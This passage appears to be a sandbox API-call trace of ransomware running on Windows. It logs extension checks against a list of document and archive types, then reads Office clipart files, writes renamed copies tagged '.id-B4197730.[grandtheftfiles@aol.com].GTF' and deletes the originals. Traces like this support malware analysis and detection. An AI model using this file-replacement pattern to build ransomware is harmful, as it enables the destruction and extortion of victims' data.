	[0079.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0079.828] lstrlenW (lpString=".dbf") returned 4
	[0079.828] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0079.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0079.828] lstrlenW (lpString=".1cd") returned 4
	[0079.828] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0079.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0079.828] lstrlenW (lpString=".jpg") returned 4
	[0079.828] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0079.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0079.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0079.828] lstrlenW (lpString=".doc") returned 4
	[0079.828] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0079.828] lstrlenW (lpString=".docx") returned 5
	[0079.828] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0079.828] lstrlenW (lpString=".pdf") returned 4
	[0079.829] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0079.829] lstrlenW (lpString=".xls") returned 4
	[0079.829] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0079.829] lstrlenW (lpString=".xlsx") returned 5
	[0079.829] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0079.830] lstrlenW (lpString=".ppt") returned 4
	[0079.830] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0079.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0079.830] lstrlenW (lpString=".zip") returned 4
	[0079.830] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0079.830] lstrlenW (lpString=".rar") returned 4
	[0079.831] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0079.831] lstrlenW (lpString=".bz2") returned 4
	[0079.831] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0079.831] lstrlenW (lpString=".7z") returned 3
	[0079.831] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0079.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0079.831] lstrlenW (lpString=".dbf") returned 4
	[0079.831] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0079.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0079.831] lstrlenW (lpString=".1cd") returned 4
	[0079.831] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0079.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0079.831] lstrlenW (lpString=".jpg") returned 4
	[0079.831] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0079.831] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0079.831] lstrlenW (lpString="AG00175_.GIF") returned 12
	[0079.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0080.530] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=3378) returned 1
	[0080.530] CloseHandle (hObject=0x384) returned 1
	[0080.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 0x220
	[0080.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0080.530] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.530] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0080.531] GetLastError () returned 0x0
	[0080.531] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xd32, lpOverlapped=0x0) returned 1
	[0080.532] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xd40, lpOverlapped=0x0) returned 1
	[0080.533] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.533] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.533] SetEndOfFile (hFile=0x370) returned 1
	[0080.534] CloseHandle (hObject=0x370) returned 1
	[0080.534] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.535] SetEndOfFile (hFile=0x384) returned 1
	[0080.535] CloseHandle (hObject=0x384) returned 1
	[0080.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0080.537] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 1
	[0080.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0080.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0080.537] lstrlenW (lpString=".doc") returned 4
	[0080.537] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0080.537] lstrlenW (lpString=".docx") returned 5
	[0080.538] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0080.538] lstrlenW (lpString=".pdf") returned 4
	[0080.538] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0080.538] lstrlenW (lpString=".xls") returned 4
	[0080.538] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0080.538] lstrlenW (lpString=".xlsx") returned 5
	[0080.538] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0080.538] lstrlenW (lpString=".ppt") returned 4
	[0080.538] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0080.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0080.538] lstrlenW (lpString=".zip") returned 4
	[0080.538] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0080.538] lstrlenW (lpString=".rar") returned 4
	[0080.538] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0080.538] lstrlenW (lpString=".bz2") returned 4
	[0080.538] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0080.538] lstrlenW (lpString=".7z") returned 3
	[0080.538] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0080.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0080.538] lstrlenW (lpString=".dbf") returned 4
	[0080.538] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0080.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0080.538] lstrlenW (lpString=".1cd") returned 4
	[0080.538] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0080.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0080.538] lstrlenW (lpString=".jpg") returned 4
	[0080.538] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0080.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0080.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0080.538] lstrlenW (lpString=".doc") returned 4
	[0080.538] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0080.538] lstrlenW (lpString=".docx") returned 5
	[0080.538] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0080.538] lstrlenW (lpString=".pdf") returned 4
	[0080.538] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0080.539] lstrlenW (lpString=".xls") returned 4
	[0080.539] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0080.539] lstrlenW (lpString=".xlsx") returned 5
	[0080.539] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0080.539] lstrlenW (lpString=".ppt") returned 4
	[0080.539] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0080.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0080.539] lstrlenW (lpString=".zip") returned 4
	[0080.539] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0080.539] lstrlenW (lpString=".rar") returned 4
	[0080.539] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0080.539] lstrlenW (lpString=".bz2") returned 4
	[0080.539] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0080.539] lstrlenW (lpString=".7z") returned 3
	[0080.539] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0080.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0080.539] lstrlenW (lpString=".dbf") returned 4
	[0080.539] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0080.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0080.539] lstrlenW (lpString=".1cd") returned 4
	[0080.539] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0080.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0080.539] lstrlenW (lpString=".jpg") returned 4
	[0080.539] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0080.539] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0080.539] lstrlenW (lpString="AN00914_.WMF") returned 12
	[0080.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0080.540] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=10832) returned 1
	[0080.540] CloseHandle (hObject=0x384) returned 1
	[0080.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 0x220
	[0080.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0080.540] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.540] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0080.540] GetLastError () returned 0x0
	[0080.540] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x2a50, lpOverlapped=0x0) returned 1
	[0080.543] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x2a60, lpOverlapped=0x0) returned 1
	[0080.544] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.544] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.544] SetEndOfFile (hFile=0x370) returned 1
	[0080.544] CloseHandle (hObject=0x370) returned 1
	[0080.546] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.546] SetEndOfFile (hFile=0x384) returned 1
	[0080.547] CloseHandle (hObject=0x384) returned 1
	[0080.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0080.547] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 1
	[0080.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0080.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0080.547] lstrlenW (lpString=".doc") returned 4
	[0080.547] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.547] lstrlenW (lpString=".docx") returned 5
	[0080.547] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.547] lstrlenW (lpString=".pdf") returned 4
	[0080.547] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.547] lstrlenW (lpString=".xls") returned 4
	[0080.547] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.547] lstrlenW (lpString=".xlsx") returned 5
	[0080.547] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.548] lstrlenW (lpString=".ppt") returned 4
	[0080.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0080.548] lstrlenW (lpString=".zip") returned 4
	[0080.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.548] lstrlenW (lpString=".rar") returned 4
	[0080.548] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.548] lstrlenW (lpString=".bz2") returned 4
	[0080.548] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.548] lstrlenW (lpString=".7z") returned 3
	[0080.548] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0080.548] lstrlenW (lpString=".dbf") returned 4
	[0080.548] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0080.548] lstrlenW (lpString=".1cd") returned 4
	[0080.548] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0080.548] lstrlenW (lpString=".jpg") returned 4
	[0080.548] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0080.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0080.548] lstrlenW (lpString=".doc") returned 4
	[0080.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.548] lstrlenW (lpString=".docx") returned 5
	[0080.548] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.548] lstrlenW (lpString=".pdf") returned 4
	[0080.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.548] lstrlenW (lpString=".xls") returned 4
	[0080.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.548] lstrlenW (lpString=".xlsx") returned 5
	[0080.548] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.548] lstrlenW (lpString=".ppt") returned 4
	[0080.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0080.548] lstrlenW (lpString=".zip") returned 4
	[0080.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.549] lstrlenW (lpString=".rar") returned 4
	[0080.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.549] lstrlenW (lpString=".bz2") returned 4
	[0080.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.549] lstrlenW (lpString=".7z") returned 3
	[0080.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0080.549] lstrlenW (lpString=".dbf") returned 4
	[0080.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0080.549] lstrlenW (lpString=".1cd") returned 4
	[0080.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0080.549] lstrlenW (lpString=".jpg") returned 4
	[0080.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.549] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0080.549] lstrlenW (lpString="AN00932_.WMF") returned 12
	[0080.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0080.549] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=14428) returned 1
	[0080.549] CloseHandle (hObject=0x384) returned 1
	[0080.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 0x220
	[0080.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0080.550] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.550] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0080.550] GetLastError () returned 0x0
	[0080.550] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x385c, lpOverlapped=0x0) returned 1
	[0080.559] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x3860, lpOverlapped=0x0) returned 1
	[0080.560] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.560] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.561] SetEndOfFile (hFile=0x370) returned 1
	[0080.561] CloseHandle (hObject=0x370) returned 1
	[0080.562] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.562] SetEndOfFile (hFile=0x384) returned 1
	[0080.563] CloseHandle (hObject=0x384) returned 1
	[0080.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0080.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 1
	[0080.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0080.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0080.563] lstrlenW (lpString=".doc") returned 4
	[0080.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.564] lstrlenW (lpString=".docx") returned 5
	[0080.564] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.564] lstrlenW (lpString=".pdf") returned 4
	[0080.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.564] lstrlenW (lpString=".xls") returned 4
	[0080.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.564] lstrlenW (lpString=".xlsx") returned 5
	[0080.564] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.564] lstrlenW (lpString=".ppt") returned 4
	[0080.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0080.564] lstrlenW (lpString=".zip") returned 4
	[0080.564] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.564] lstrlenW (lpString=".rar") returned 4
	[0080.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.564] lstrlenW (lpString=".bz2") returned 4
	[0080.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.564] lstrlenW (lpString=".7z") returned 3
	[0080.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
